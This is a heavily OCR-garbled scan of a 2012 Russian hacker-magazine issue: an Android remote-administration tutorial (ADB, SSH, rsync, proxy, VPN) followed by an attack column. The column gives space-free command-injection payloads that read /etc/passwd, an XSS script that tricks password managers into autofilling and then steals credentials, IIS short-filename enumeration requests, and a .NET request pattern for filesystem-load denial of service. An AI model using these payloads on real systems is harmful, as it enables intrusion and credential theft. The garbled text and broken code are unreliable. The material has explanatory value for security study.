Welcome to Busyboxl SЕапЕiпа Sundav Auoust Зоth. Busvbox рго will Бе on scile fоF $1.8о [геq $а,99} fоп а shогt аmочпt of timе, huггу ЬЪfопе che Sale ends!

New fеаtчпеs fon BusyBox Рпо!

New fеаtчпе Ео allow the iпstаllаtiоп of апу чепsiоп of Busybox!

FаStег loading times, Ability Ео automatically update busybox, Ability со install specific applets опе Ьу опе and choosing how they апе installed, Тhе рго чегsiоп of this application сап Ье

found' hеге: гtrрs rlmагkеi Ьldго cl t de_carlsi,d- ,t егtсsоп lэ-syoo. aondl t

3апускаем ADB

в ceтeBo},t

рех(ине

<F1>-<F12>, <Сtгl> и так далее - все, что потребуется при работе в терминале и наборе команд. Владельцы планшетов обязательно должны опробовать терминал АiгТегm, который запускается в отдельном плавающем окне. Oн платный {-120 рублеЙ), но чрезвычайно удобный.

После того как терминал будет установлен, мOжн0 приступить к устанOвке пакета стандартных Liпuх-утилит командной строки. В Апdгоid уже есть собственный набор таких утили-r, н0 0н 0чень скуден и не включает в себя некоторые наиболее полезные тулзы [например, утилиту top, показывающую самые прожорливые процессы). Поэтому мы установим пакет BusyBox, включающий в себя около двухсот различных утилит, В Google Play он называется так же. После установки просто запусти прилOжение, дOждись 0кOнчания пр0верки на права гооt и нажми кнопку <lnstall" внизу экрана. Также тебе наверняка понадобится консольный файловый менеджер Midnight Соmmапdег, который, конечно, будет бесполезен на самом устройстве, но может сильно пригодиться при подключении к смартфону/ таблетке с помощью SSH или ADB. Установить МС можно через Google Рlау, но там он стоит денег [з0 рублейl, поэтому проще скачать инсталлятор с XDA: goo.g /nDpfa. !остаточно устанOвить, запустить прилOжение и нажать кнопку <lnstall>.

ffi

эффективной работы с устройством нам не обойтись без инструмента удаленной

,Щля

хдкЕр

12

l1b7l 2о12

Устанавливаеll

от

Вч5уВох

отладки ADB lАпdrоid Debug Вгidgеj, который поставляется в комплекте с Апdгоid SDK и позволяет выполнять такие действия, как копирование файлов на девайс, установка приложений, получение доступа к консоли с обычного компа. Проблема лишь в том, что по умолчанию Апdгоid позволяет использовать ADB только при подключении устройства с помощью USВ-кабеля, а это, как сам понимаешь, не очень удобно. Чтобы получить возможность доступа к Апdгоid через ADB по беспроводной сети, нам понадобится простое Апdгоid-приложение WiFi ADB, которое позволит запустить ADB-cepBep в сетевом режиме loH это умеет по умолчанию, однако в целях безопасности стоковые прошивки не позволяют использовать ADB таким образом). Теперь, чтобы подключиться к Апdгоid с помощью ADB, достаточно запустить устанOвленнOе прилOжение, нажать кнOпку <Тuгп 0п>, далее на компе перейти в каталог с установленным Апdгоid SDK, затем в каталог рlаtfогm-tооls и запустить выведенную приложением на экран команду. Например (в моем сл уч ае):

$ adb connect 192.168.0.102:5555 В результате на экране появится такая строка: connected to'l92.168.0.'l02:5555. !алее можно выполнять различные удаленные действия. Например, получить доступ к терминалу и, как следствие, всем установленным ранее вкусностям, типа набора

Liпuх-утилит и МС:

$ adb insta1l пакет.арk $ adb uninsta11 имя.пакета Установить рекурсивно все приложения в текущем каталоге [из Linuxl:

$ fог apk

in

done

New Backup fеаtчге fог sаfег installs and fог Ьеttег and sаfег uninsEalls|

приложение:

*.apk; do adb instaII $apk;

-

Скопировать файлы на карту памяти девайса или с карты памяти:

$ adb push каталог /sdcaгd $ adb /sdсагd/каталог каталог Атакже просмотреть системный лог:

$ adb logcat Использовать ADB для удаленного управления устройством очень удобно, однако у этого способа коммуникации есть два существенных недOстатка: медленная скOрOсть передачи данных и абсолютная незащищенность (к устройству может подключиться любой). Поэтому, если ты хочешь манипулировать девайсом не дома или тебе нужна действительно хорошая скорость работы, лучше использовать старый добрый SSH. ,Щля Апdгоid есть несколько различных реализаций SSH-cepBepoB, как требующих права гооt, так и способных работать без них [в том числе встроенный SSH-cepBep в прошивку СуапоgепМоd], но я бы порекомендовал остановиться на SSНDгоid как наиболее удобном, простом в использова нии и к тому же бесплатном. Просто установи его на устройство, запусти, нажми кнопку <Stагt> в верхней части экрана и вбей в SSН-клиент адрес, показанный в строке uдddгеss:u (опустив непонятно зачем написанный префикс sftp://l. Или воспользуйся консольным SSН-клиентом:

$ ssh гооt@L92.768,0.2 это может показаться смешным, но по умолчанию SSНDгоid использует пароль admin, который выводится в приветственном баннере перед строкой ввода пароля. Само собой, такую дикость можно исправить в настройках, вбив нормальный пароль в поле <Раsswогd> и сняв галочку с опции Login Ьаппег. Также очень легко настрOить автOризацию п0 ключам, прOст0 сгенерировав RSА-ключ на компе (пример

для *пiх-системыl:

$ yes I ssh-keygen а затем скопировав файл -/.ssh/id_гsа.

pub на карту памяти девайса и добавив его в SSНDгоid с помощью опции Authoгized keys {достаточно просто выбрать нужный


x_MoBILE файл и дать ключу имя], после чего опцию Enable раsswогd можно отключить и спокойно ходить на девайс без пароля. Чтобы выполнить обратное подключение, то есть с устройства к компу, можно использовать проверенный временем клиент ConnectBot. Пользоваться им еще проще. После запуска просто вбиваем имя_юзераOlР в окно ввода внизу экрана и нажимаем <Готово>. После этOг0 клиент спрOсит парOль и 0ткрOет 0кн0 эмулятOра терминала. Чтобы не вводить пароль для входа на удаленную систему, ConnectBot позволяет сгенерировать открытый ключ. Щля этого нажимаем кнопку <Меню>, далее <Управление открытыми ключами), снова *Меню, и.Генерировать>. 0ткроется экран, где следует указать имя ключа (.псевдонимrr) и ввести пароль для доступа к нему (остальные пOля

можно не трогать, ]024-битного RSА-ключа будет вполне достаточно), а затем нажать кнопку <Генерировать>.,Щалее приложение вернет тебя к списку ключей, удерживаем долгий тап на нужнOм н��м и в 0ткрывшемся меню нажимаем "Копировать публичный ключ>. ConnectBot не поддерживает запись ключа во внешний файл, поэтому ключ будет скопирован в буфер обмена, после чего его можно будет вставить, например, в письмо и отправить самому себе, а затем дOбавить в файл -/.ssh/authoгized_keys в UNlX/Linux или с помощью графического интерфейса SSH-cepBepa для Windows или Мас 0S.

В принципе, всего этOго уже будет вполне достаточно для управления как домашней машиной с устройства, так и самим устройством. 0днако в Google Play есть еще несколько интересных приложений, использующих протокол SSH. В первую очередь я хотел бы обратить внимание на SSНFSАпdгоid - платное [80 рублей), но действительно полезное прилOжение, кOтOрOе пOзвOляет мOнтирOвать удаленные ФС по протоколу SSH, Фактически это просто обертка вокруг известной файловой системы пространства пользователя sshfs, использующей модуль Linuxядра FUSE (включен во все стоковые ядра, начиная с Апdгоid версии 2.2; с помощью FUSE в Апdгоid монтируются зашифрованные данные устанOвленных на карту памяти приложенийl. Пользоваться SSНFSАпdгоid довольно просто. После запуска главное окно приложения будет пусто, за исключением кнопок <+> и <Настройки) в верхней части окна. Чтобы подключить новую ФС, нажми кнопку (+> и пOследOвательн0 запOлни все пOля выведенного на экран меню: <Name> произвольное имя, <Host> lP или имя хоста (например, 'l92.168.0.100), <Remote path> путь до каталога на удаленной стороне (например, /home/ point" точка монтирования VaSYa), "Mount имя юзера {/sdсагd/shагеl, "Usегпаmе> и *Раsswогd>) пароль соответственно. ,Щалее нажимаем кнопку.Сохранитьо (пиктограмма в виде дискеты) и, вернувшись на главный

-

-

экран, прOст0 кликаем на пункте с именем соединения. После запроса прав файловая система будет смонтирована к указанному катал

0

гу.

Все это работает так, как следует, но будь гOтOв к тOму, чт0 прилOжения врOде музыкальнOг0 плеера или галереи не смOгут прOиндексировать файлы на виртуальной ФС. Oднако их впOлне мOжн0 прOсмOтреть и прOслушать с помощью того же файлового менеджера или плеера, пOзвOляющег0 прOигрывать выбранные файлы на карте памяти. Интересно, чт0 прилOжение пOддерживает все 0пции sshfs, которыми можно управлять в меню <Advanced options> при создании новой виртуальной ФС. Там же можно настроить аутентификацию по ключу.

l*ilElit Апdгоid было разработано множество различных решений для выполнения удаленного бэкапа, которые могут использовать в качестве хранилища различные облачные сервисы [например, DгорЬох, Google Dгiче), а также серверы для Windows и Мас 0S Х. Кому-то эти приложения могут оказаться удобными, однако каждый матерый lТ-шник знает, что лучше rsупс для удаленного бэкапа пока еще не придумали. Пользователи UNlХ-систем должны быть хорошо знакомы с этой утилитой, для 0стальных же пOясню, чт0 гSупс представляет собой инструмент, который позволяет инкрементальн0 синхрOнизирOвать лOкальный каталог с удаленным по протоколу SSH. Когда ты сделаешь бэкап с помощью гSупс, все последующие бэкапы будут происходить гораздо быстрее благодаря копированию только измененных частей существующих и новых файлов. ,Д,ля выполнения бэкапа с помощью гsупс дOстатOчн0 выпOлнить всег0 два услOвия. Установить на принимающую сторону (в нашем случае это будет домашний комп] SSHсервер, а на 0тдающую сам гsупс, в качестве которого в нашем случае будет выступать приложение "гsупс backup fог Апdгоid> из репозитория Google Рlау.,Щалее следует запустить гsупс с 0пределенными 0пциями и указать каталог для бэкапа {например, содержимое карты памятиl, все /sdсагd 0стальнOе 0н сделает сам. Итак, скачиваем и устанавливаем гsупс backup, видим голый экран, нажимаем кнопку <Меню> и выбираем пункт <Get Ьiпагiеs", чтобы скачать утилиту гsупс. Далее необходимо сгенерировать публичный и приватный ключи, чт0 делается с пOмOщью пункта меню <Gепегаtе keys>. После окончания формирования ключей на экран будет выведено меню с предлOжением передать этOт ключ с помощью одного из способов. Проще всего выбрать GmaiI и отправить ключ самому себе либо выложить его на DгорЬох.,Щалее этот ключ необходимо записать в файл -/.ssh/ authoгized_keys на принимающей стороне или добавить с помощью графического интерфейса, если речь идет о Windows и Мас 0S. ,Щля

-

Настраиваем прокси

056

Подключаем удаленный каталог

по SSH

хдкЕр

12

/16,1/2о12


Начало большого пути

.

.

вOзмOжнOсть включить прOкси тOльк0 для выбранных приложений; возможность привязать различные настройки к разным точкам доступа и ЗG-сетям.

Также у приложения есть виджет, которы й позволяет включать/выкл ючать

3апускаеи SSH-cepBep

Эмулятор терминала

После этого вновь переходим в меню создаем новый профиль, выбрав пункт <Add РГОfilе". В открывшемся меню последовательно заполняем поля: "Ргоfilе паmе) - имя профиля, "Local file ог diгесtогуD - синхронизируемый каталог [лучше указать /sdсагd для бэкапа всей Карты памяти], пUsегпаmеr) - имя пользователя на принимающей стороне,,,Sегчегu или -lР приимя сервера, (DгорЬеаг SSH ргiчаtе key> ватный ключ, сгенерированный в предыдущем шаге, он лежит по адресу /sdcaгd/dss_key, <Remote f ile ог diгесtогу)) - имя каталога на удаленной стороне (например, -/backup). Теперь нажимаем кнOпку <Save ргоfilе>, которая вернет нас на главный экран, где должен появиться наш профиль. Просто нажимаем на его имя, чтобы начать синхронизацию. Чтобы не запускать процесс бэкапа вручную, гSупс мOжн0 связать с прилOжением автоматизации Таskег, о кOтором мы писали в предыдущем номере журнала. Таskег позволит назначить синхрOнизацию на 0пределенное время или другое событие, такое как обнаружение домашней беспроводной сети или пOдключение к зарядному устройству.

альных данных, и, чтобы обойти эту проблему, понадобится зашифрованный VРN-туннель. По умолчанию Апdгоid не позволяет завернуть трафик на прокси, такой функции нет ни в настройках, ни в стоковых приложениях. Поэтому мы должны установить сторонний прокси-сервер, который будет заворачивать трафик туда, куда нам нужно. Подобных решениЙ для Апdгоid существует масса, однако я хотел бы остановиться на РгохуDгоid, у которого есть множество приятных функций: возможность работы как HTTP/HTTPS/ SOC КS4/SOСКS5-п рокси; поддержка NТLМ/NТLМч2-аутентификации;

и

mыпrt п!!П Теперь займемся настройкой прокси и VPN. На мобильном устройстве их полезность может

быть неочевидна. 0днако существует большое количество Wi-Fi-сетей, которые просто не пустят пользователя в обход прокси-сервера, а те сети, кOтOрые пустят, впOлне мOгут мOнит0рить трафик на предмет паролей и конфиденци-

хлкЕр

121167/2012

.

о

прокси при необходимости. В своей работе РгохуDгоid полностью опирается на Linuxфайрвол netfilteг/iptables, поэтому без прав гооt не заведется ни под каким предлогом. У нас права гооt есть, так что никаких проблем возникнуть не должно, если, конечн0, прOизвOдитель не выпилил пOддержку пеtfiltег из ядра. Использовать РгохуDrоid довольно просто. После запуска достаточно указать адрес и порт прOкси-сервера, а также ег0 тип и нажать кнопку "Вкл/Выкл>. После этого обмен данны_ ми всех приложений будет происходить через прокси. Там же следует указать имя и пароль для аутентификации, настроить прокси для отдельных приложений; для этого необходимо снять галочку с опции <,Щля всех приложений> и выбрать нужные в меню <,Щля выбранных приложений>>. Также можно создать новый профиль и привязать его к определенной сети, включив опцию <Автоподключение> и выбрав сеть в списке <Связанная сеть>. Настроить VPN в новых версиях Апdгоid мOжн0 с пOмOщью меню настрOек, 0днак0 более старые версии, ниже 4.0, такой возможности не имеют. Поэтому мы должны установить 0penVPN самостоятельно. Это можно сделать с помощью двух приложений: 0penVPN lnstallel которое следует просто запустить и нажать кнопку <Install>, и 0penVPN Settings, позволяющее создать VРN-туннель. Перед этим следует положить все необходимые настройки VPN [конфиги и сертификаты) в каталог /Sdсагd/орепчрп, запустить приложение и включить опцию 0penVPN. Сегодня мы рассмотрели лишь малую часть из огромного арсенала профессиональных инструментов, доступных для Апdгоid, но мы постараемся восполнить пробелы в следующих статьях. ]Е

зАгрузOчньlЕ скрипты Апdrоid наделен собственной системой инициализации, которая сильно отличается от SysV, systemd и других iпit-систем, 0на использует всего один файл инициализации, в котором прописан весь процесс загрузки системы, вплOть до запуска 0сновных поль3Oвательских приложений. Тем не менее ее можно модифицировать, добавив возможность запуска пользOвательских скриптOв инициализации, написанных на языке sh. В СуапоgепМоd, АOКР и MlUl поддержка таких скриптов есть изначально, достаточно положить их в каталог /system/etc/init.d, и они будут запущены во время загрузки 0С. В стоковых прошивках поддержки init.d нет, но ее можно добавить, прошив модификацию EZ lnitD [goo.gl/Yrhlil через консоль восстановления. Коллекцию отличных скриптов на все случаи жизни можно найти на XDA: 9oo,gll9qpgb.

f . Без наличия прав root настроить прокси в 0рега Ji{obile MortHo через страницу орега:сопf ig, а в нобильной версии Firеf ох устанOвив расlлирение Proxyi,lob.

-

. прпложение WiFiADB ],ioxно

Iсполь3овать

coB]i{ecTHo

с систеиой авто1,1атизации Таskеr для автоl,tатическоrо

включения ADB, напринер во 8ремя зарядки ]iли при пOдключении к дOнаlцней беспроводной сети.

. Прошивка cyanogen}.,lod и прOизвOдные пOзвOлякrт запускать ADB в сетевон режIне из 0кна настроек lраздел кflля разработч и

KoB>l.


Взл0].U EASY НАСК

Алексей <GreenDogD Тюрин, Di9ital Security ltwittеr,соm/апtуuгiп]

((ВстАВитЬ пРоБЕл)) рЕшЕниЕ Хмм... Какой странный заголовок получился,.. Но кратко и объемлюще иначе не вышло :]. Так что давай я сперва разъясню на-

чальную ситуацию. ,Щавай представим, что мы ломаем систему и нам удалось найти уязвимость типа 0S Command lnjection, И как ясно из названия, мы можем исполнять команды в 0С на атакуемой системе. Казалось бы, здесь- полный win для нас. Но не все так просто. На практике очень часто бывает, что реализовать атаку, даже если утебя на руках есть какие-то уязвимости, фактически не получается. Например, одно веб-приложение было испещрено ХSS'ками, но из-за его специфики эти уязвимости не несли никакого профита. На них просто не получалось построить дельный вектор атаки. Так вот. С выполнением команд бывает иногда облом мы не можем вставлять какие-то символы. И один из неприятных вариантов невозможно вставить пробел, потому что они вырезаются, например. То ecTb.ping 127.0.0.1) в итоге исполняется кзц Что же делать? Вроде как и команды можно "ping127.0.0.'l". выпOлнятьl а врOде и тOлка из этOг0 не мнOг0. Недавно по наводке наткнулся на интересный пост, в котором как раз решалась данная проблема, - qoo,c]l/ /э,]t l. Решение же оказалось вполне простым. Как ни странно, все, что необходимо, заложено в возможностях виндового шелла. Если честно, то меня с первOг0 взгляда эт0 пOвергл0 в некOе шOкOнедOпOнимание:

-

-

рiпg%ргоgгаmfi

Ies : -J.0, t%127,

"С:\Ргоgгаm

гическую комбинацию ":-10,]>, указывает вырезать ]0-й символ.

0казалось, что эта комбинация - это suЬstгiпg в виндовой консоли, Кто б знал. Вь ясrллось, что там целый гучок возможчостей для интересующихся "set /?" в консоли. Ну и парочка аналогичных примеров, но только для *пiх'ов,

а

точнее

-

для bash'a:

cat${ LESSOPEN : 11 : 1}/etc/passwd с at$I FSl et с / ра s swd Здесь $lFS - lпtегпаl Field Sерагаtог, переменная, определяющая разделитель. По умолчанию равна пробелу (не во всех случаях будет решать нашу задачу).

О, О. 1

Но, погуглив, я увидел, что все несложно. Здесь мы после необходимой нам команды ping указываем переменную окружения, а далее вырезаем [suЬstгiпg) из нее интересуюций нас символ

-

058

пробел. То есть командный интерпретатор получает эти данные от нас, потом берет переменную окружения %ргоgгаmfilеs%, в которой хранится строка Files", и, используя ма-

Вставляеlt пробел из переменной окружения

хдкЕр

12

l167l 2012


Хакерские секреты простых вещей

$LESSOPEN отвечает за настройку работы команды less.

должна быть известна позиция нашего символа. А во-вторых, данный символ должен быть в переменной окружения. Поэтому следует помнить, что данные способы привязаны к настройкам и версии 0С. Например, в немецкоЙ версии YоргоgгаmfilеS имеет значение .С:\Ргоgгаmmеr,

По умолчанию будет <l /usг/bin/lesspipe %s". За подробностями

-

goo,gl/ZthC6. другими примерами для Bash'a Как, я думаю, понятно, аналогичным образом вырвать можно и какой-то другой символ. Но есть пара моментов. Во-первых, и

зАпOлучить пАрOли

СП9.МOЧЮJАVАSСR!IТ

rr

__.**."

.. ,rтм

аlегt("uSегпаmе=" + ех_чsегпаmе + "&passwoгd=" + н

Когда есть какая-то уязвимость, хочется из нее выжать по максимуму. Поэтому на протяжении нескольких номеров я расписываю различные векторы атак, связанные с XSS. Все-таки у XSS большой потенциал. Вот и сегодня мы увидим один из вариан-

ех_раsswогd); } }

//2

document.wпitе("\

т0 в.

В большинстве случаев XSS приносит нам идентификатор сессии из кукисOв, с пOмOщью которого мы можем зайти на сайт под пользователем, Но так ли уж они интересны? Все-таки, наверное, приятнее было бы получить логин и пароль пользователя. Чтобы потом в любой момент войти под жертвой на сайт и минимально зависеть 0т валиднOсти кукиса. Сказано сделано. На самом деле в теории все просто. Есть <шумный> путь, когда мы через XSS создаем фишинговое окошк0 ввOда лOгина и парOля: если пOльзOватель поверит нам мы получим необходимые данные. Но это неинтересно. Интересно автоматически и (тихо>. Хотя данный вариант тоже не самый стабильный и много от чего зависит, но он очень даже жизнеспособен. Автоматичность его возможна в том случае, если жертва использует менеджер паролей [или как они по-русски называютсяl. Встроенный в браузер или сторонний не так важно, главное, чтобы тот автоматически вставлял данные в ячейки. 0бщий алгоритм, я думаю, тебе уже вполне понятен. Мы с помощью XSS подгружаем наш JavaScгipt, который создаст такую ситуацию, чтобы менеджер паролей вставил интересующий нас пароль от сайта. И как только он его вставит, мы его сграбим и перешлем в желаемOе мест0. Какова же должна быть данная ситуация? Это зависит от браузера или менеджера паролей. На этутему недавно появилось неплохое исследование goo.gI/ALUL5, которое я и взял за основу. Бен Тоус {Ben Toews) рассмотрел браузеры lE, FF, Сhгоmе и тулзу LastPass, И из всех из них можно было украсть пароли [при настройках по умолчаниюl. Но для начала немножко важной теории. FF, Сhгоmе, LastPass для того, чтобы определить, какие аутентификациOнные данные ввести, смотрят полный домен сайта. То есть <suЬ.ехаmрlе.огg> и <mаil.ехаmрlе,огg) для них разные сайты, По сути - стандарты SOP действуют. Но более глубокого, по <пути до страницы) (path} разделения нет. То есть нет РазнИцы между (ехаmрlе.огgilоgiп.рhр" и *ехаmрlе.огg/пеws. php". На обоих, если парольный менеджер увидит необходимые поля, будут введен ы одинаковые аутентифика ционные данные. lE в данном случае отличается в лучшую сторону, так как он учитывает путь. Так вот,'этой <беспутейной> фичей мы и можем воспользоваться. Небольшой пример:

_'._.

<fоrm metho6='post' action='index.php'> usenname:<input type='teХt' паmе='usегпаmе'

F

id='чsегпаmе' vaIue=' ' autocompIete='on' ><Ьr> g passwoгd:<input type='passwoгd' паmе='раsswогd' _

' autocomplete='on' ><Ьг> н type='submit' name='Iogin' value='Log Iп'> р </fопm> р id='paSswond' value=' <i.nput

-

//з

-

");

inter

=

window.setInteгval("attack()'',

1о0).;

Здесь такая последовательность. Сначала в пункте 2 мы добавляем на ХSS'нутую страничку дополнительный HTML, а именно формочку. Как только она появится, парольный менеджер тут же вставит необходимые данные. Потому в пункте З мы запускаем функцию 'l через каждые 0,1 с..Щанная функция смотрит, введены ли аутентификационные данные, и сохраняет их. Можешь попробовать и сам - goo.gl/0qzb7, В случае же с lE, когда есть привязка к пути, нам потребуется действовать немного более комплексно, хотя суть перехват после ввода данных остается. Все, что нам необходимо, открыть первую страницу [настоящую) в фрейме, созданном JS через XSS, И с учетом того, что домен во фрейме тот же, где исполняется наш JS, мы имеем возможность вставить в этом фрейме необходимый нам код, который будет мониторить ввод данных парольным менеджером. Вот, все, в общем, просто. Хотя, конечно, здесь есть привязка к браузерам и к пользованию менеджером жертвой, но профит аутентификациOнные данные очень приятен. - уж И под конец хотелось бы отметить, что это все можно провести незаметно для пользователя. В общем случае главное загнать его на наш сайт, а там уже в скрытом фрейме откроется XSS'Ka на атакуемом нами сайте и вдернутся необходимые

-

-

-

-

-

-

-

парOли...

С

С

i l bOomer,neottapsi5.com.:,,r,l\:i

Log Into Sесrеt Application чlшс:Ьйп

рцrrчmd

1,1l,],ij,ii]

ё

е

)эч йсdt

fr.d

,,] boom..fieohapsllcom Со hG f \ou

]

.l

ýщ сhs. fu

j.--.

[ýд

//!

function attack()

{

ех_чSеrпаmе = document.getElementByld( 'usегпаmе'

value ех_раsswогd = document.getЕlementByld('passwoгd'

)

сфa

pla}, \iiф

r.rl.(ionJ

1

va l ue;

if

(ех_usеrпаmе !=

хдкЁр 12/1b7l2012

" I

ex_passwoгd

l= ")

{

).н После сохранения пароля браузер ввOдит ег0 ca1.1

Нам на радость брауэер ввел пароль дах(е на

друrой странице


взло},l/ EASY нАск

нАити ФАильl нА вЕБ_сЕрвЕрЕ lls рЕшЕниЕ В прошлом номере я писал про метод, который в отдельных случаях позволяет обойти кастомные страницы ошибок в llS и, используя это, организовать перебор файлов на вебсервере.,Щанная задача в каком-то смысле является ее продолжением, потому чт0 и автор техники тот же, и цель задачи аналогична найти файлы. Но сразу стоит отметить, что основополагающая идея здесь гораздо более глубокая. искать Не стану вводить тебя в заблуждение и скажу сразу файлы мы будем с помощью коротких имен файлов в Windows. Чтобы разобраться, что такое короткие имена, нам необходимо обратиться к истории ивики, (SFN Итак, shогt f ilename) нотация "8.З f ilепаmе, формата записи имени файла в некоторых файловых системах,

-

-

подраэумевающая

использование

вOсьми символов для имени

файла и трех символов для расширения, Традиционно применялась в разработанных компанией Мiсгоsоft для MS-DOS файловых системах FАТ1 6. То есть весь олдскул основан на этих правилах: .command.comr, .cmd.exe>, <<calc.exe> :l. Но с появлением Винды с ее VFАТ стало возможно использовать длинные имена {LFN, long filename), да еще и в различных регистрах. И для хорошей совместимости со старым досовским П0, 0С для всех имен, не подпадающих под правила 8.З, хранит также и их короткие версии имен. Примерно по следующему алгоритму имена конвертируются из LFN в SFN: ], Если LFN в верхнем регистре и подходитподправило8.З,то ни-

2, З,

в

Wiп7

пробелы),

то имя обрезается,

а (плохие>

-VER_l

l-{ифра-идентифи като р требуется для того, чтобы указ ы вать на конкретные файлы, если начальная часть LFN имени у них Textодинаковая. Примеры: TextFile'| .Mine.txt - ТЕХТF1-1.ТХТ, а ТЕХТFI-2.ТХТ. Наверное, здесь стоит отметить, FilеЗ.АААА,tхt что Мiсгоsоft сильны в backwaгd-compatibility, а потому даже в последних версиях 0С [Wiп2008, Wiп7) есть и поддержка SFN. flля того чтобы посмотреть на примере, можем ввести в консоли <diг/х" {"diг/-п"), итогда мы увидим SFN и LFN (см. скриншот 1 ). flумаю, все вполне легко и понятно. Тепе��ь перейдем к самой атаке. Соруш Р,алили (Sогоush Dalili) подразресерчил этутему в контексте работы llS ]. На самом деле он пытался заюзать спецсимволы wildсhаг'ы * и ? при обращении к файлам, но наткнулся на применение и тильды. В итоге он выяснил, чт0 есть вOзможность определить начальные шесть символов имен файлов и папок [то есть SFNJ для всех LFN файлов. А с учетом того, что при использовании .NET расширение по умолчанию aspx [то есть LFN], мы имеем возможность выискать все скрипты, Соруш Р,алили отметил, что, используя некие манипуляции с именами и пOлучая 0тветы 0т сервера, мы имеем возможнOсть вычислить существующие и несуществующие файлы. Взгляни на скриншот 2, и все будет понятно. Но для точности разберем один из вариантов. Итак, В llS лежит файл validlon9.extx, который в формате 8.З имеет вид VALlDL-'l ,ЕХТ. Если мы отправляем на сервер

НТТР 4(Ц - Filе поt found

/lnvalid'-1'/.aspx

НТТР 40О - Bad Request -

File not found

НТТР 40О - Bad Request

/valid'-l'/

Page contains:

'Error Code Ot00000000r

/lnvalid'-1'/

сим волы

вырезаются (хотя некоторые меняются на *_r1.0брезание происходитдо шестого символа LFN. Щалеедобавляется тильда {-), цифра-идентификатор, а потом точка и первые три символа 2-1.ТЕХ, расширения.Пример: чег[пробел) +].2.text

/valid'-1'/.aspx

нттР 4(и

каких преобразований не происходит, А если верить вики, то LFN вообще не используется, только SFN. ЕслиLFN включаетсимволы в нижнем регистре и невыходит за рамки 8.З, то просто происходит конвертация в верхний регистр. Пример: TextFile.Txt LE.TXT. -ТЕХТFl Если LFN длиннее 8.Зиlили содержитзапрещенные символы [например,

(

Скрин 1. SFN для С:\

Ра8е contains: "Error Code 0х80070002"

Скрин 2. llS отвечает по-разно},tу для существуюlцих и несуществующих имен файлов

http://sdl.me/'-1'/.a:px

404 - Valid: опе

ol more file(s)/folder(s) with shоп

name i5/are available оп the seruer

Valid: lt starts with "А"

http://sdl.me/a'-1'l.a5px

4о4

http://sdl.me/aa'-1'/.aýpx

4(х) - lnvalid:

http://sdl.me/ab'-1'/.a:px

400

http://sd|.me/ac' -1'l.arpx

4о4 - valid: The second l€tter

_

-

тhе second letter is not "А"

lnvalid: тhе second letter is not ''B" is "с"

400 - lnvalid] lt haý more than three (haracter9

httр://sdl.mе/ас%ЗВ(з663fi€rl'/.азрх

4ot

hrtp://5d|.me/acsKr-l'/.aspx

4о4 - valid: lt starts Wilh "AcsЕcR"

http://sdl.me/acecr1/.acPx

4{ю - lnvalld: lt is not а folder and it has an extension

http://sdl.me/acsecr-l.xЗr/.aipx

4fi)

http://sdl.me/acý-l.rGfr63f96Зfl

.aspx

-

_

validl lt has

б or more than б

characters

lnvalid: Extension has mо/е than

4о4. validI Extension has

lnvalid

3 or more

Ехtеп5lоп does поt stan with ^А"

http://sdl.me/a(secr-l.a%3f%3fl.aýpx

40о

hltp://sdl.me/aбKrl.h963fr6Зf/.aspx

4о{ . valid: Extension starts with "н"

http://зdl.m€/acsecr-l.htm/.aspx

4М - Valid:

_

1 character

characters

Extension ýtans wlth

"нтМ"

Скрин 3. Последовательный подбор имени файла/папки

хлкЕр 12/167/2012


Хакерские секреты простых вещей

запрос по пути </valid*-1*/.aspx> и файл существуе1 то llS нам ответит (НТТР 40l+- File not found>. Если не существует- <НТТР 400 Bad вот - же Request>. Воттакая странность поведения llS. Если разобрать запрос, то "/.aspxr, используется лишь для того, чтобы *подключить)> .NET для обработки ошибок (более подробно получается). а звездочка трактуется как один или более символов, Кроме того, следует 0тметить, что мы также можем применять символ ?, который трактуется как один любой символ [в чгlencoding представлении он будет выглядеть как %3F]. Теперь, взглянув на третий скрин, ты без проблем поймешь, как пошагово происходит подбор первых букв имени и расширения. Кстати, посимвольный перебор не надо проводить руками. Соруш реализовал на Java тулзу (goo.gl/ ;]АА0), которая по заданному URL перебирает имена файлов. Есть многопоточность и возможность использовать прокси. Видеопример sdl.me. 9oo.gllqhevO, Попробовать самому тут

-

-

(€А_ГРI3ИТЬ))

ВЕЧ-9ЕlВТР

ffiфБ

Hack я использую как личную базу знаний, и так будет проще найти интересующее потом:J.

е

/-L.jPI

send|ng th€

|ile

9

pr8iom request

fior

the

ftond time Usin8 а nonexistent folder that

/-1/-2.аýрх

contains Мdlп8 another nonexlstent folder

l1lаlЗ.азрl

2 182 2i|6

that Фntalns - to thё DEvlбUt .фUЁt An Uppercase and lowerйse filename 7З

/aA-.AsPx /-v_5o t.пбJ"а/DВ-ЛtП.

СоmЬiпiп8

all of the

factoБ:

13,116

The First Ume the request was sent for ап invalld filе сопtаiпlпg Ап чрреrсаýе and loшrcase filename

/-1l...2О0

timеs.../-1lЬВ-ЛsРх

<3агружаем> llS запросаии

о Б0

в

50fаkefoldeБФntainlm

-

combinin8 all of the factoБ; The tirst time the request was sent for an invalid file containin8 Ап uppercase and lowercaýe filename 2оо fake folders containinq -

З,68О,3s3

различных регистрах

W

-

ния. NTLM это виндовый протокол, который используется для аутентификации. В упрощенном виде клиент и сервер для NTLMаутентификации проходят по следующим шагам: ]. Клиентподключаетсяксерверу,сообщаетсвои настройки. 2. Сервер отвечаеттем же рандомным'l6-байтным числом lle ng е'ем.

З. Клиентшифруетсhаllепgе'емсвой и

0тправляет ег0 на сервер.

хлкЕр

п 0

ко

пать.

__._mщ

...

Соруш отметил забавное поведение.NЕТ'а. Если послать запрос <-'l> в какой-то несуществующей директории веб-сервера, то .NET попытается найти этот файл рекурсивно по всем корневым

директориям на веб-сервере. То есть один запрос порождает множественные запросы к файловой системе. Не слишком критично, н0 все же интересн0, Кроме того, автор указывает, что эффект может быть усилен, если, во-первых, запрашивать различные несуществующие файлы, так как повторный запрос к несуществующему файлу не инициализирует полный перебор по файловой системе; во-вторых, использовать множество вложенных неправильных имен директорий с <-1>. В качестве примера могу привести такой варинат: http://exam ple.com/fake-1/-11-11-1 1-1 1-1 1-1 1-1 1-1 1-1.аsрх. В-третьих, использовать различные регистры в именах файлов и папOк эт0 заставит прOизвести пOиск дважды: и приведя все к верхнему регистру, и приведя к нижнему (например, u http://exa m р le.com/aA-1 .AsPx>). Как видишь, и просто, и потенциально деструктивно. Три миллиона обращений это очень прилично для одного запроса. Хотелось бы отметить, что <фичиr, которые лежат в основе этой задачи и предыдущей, будут оставаться фичами, так как Микрософт не считает их багами и патчить не намерена. Ктомуже эти трюки работают со всеми версиями.NЕТ fгаmеwогk,

-

Йти NтLJti _АутЕнтиои кАци ю

